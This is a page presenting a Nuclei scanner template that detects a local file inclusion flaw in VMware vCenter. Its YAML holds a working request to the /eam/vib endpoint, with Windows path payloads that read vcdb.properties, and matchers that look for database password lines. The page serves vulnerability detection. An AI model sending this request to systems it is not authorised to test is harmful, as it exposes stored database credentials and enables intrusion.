VMware vCenter - Local File Inclusion

ID: vmware-vcenter-lfi

Severity: high

Author: dwisiswant0

Tags: vmware,lfi,vcenter

Description

VMware vCenter is vulnerable to local file inclusion.

YAML Source

id: vmware-vcenter-lfi

info:
  name: VMware vCenter - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: VMware vCenter is vulnerable to local file inclusion.
  reference:
    - https://kb.vmware.com/s/article/7960893
    - https://twitter.com/ptswarm/status/1316016337550938122
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 3
  tags: vmware,lfi,vcenter

http:
  - raw:
      - |
        GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
        - "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
        - "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="

      - type: status
        status:
          - 200
# digest: 4a0a004730450220023ea37bc596200e032a8253660e60d373d4aae6649180da3a4c104bd00e9f0d022100fd4cd6cc52337c9d76b4c9677a06d9bfdf464278af5fb2094e5d9d835d8d8323:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/vmware/vmware-vcenter-lfi.yaml"

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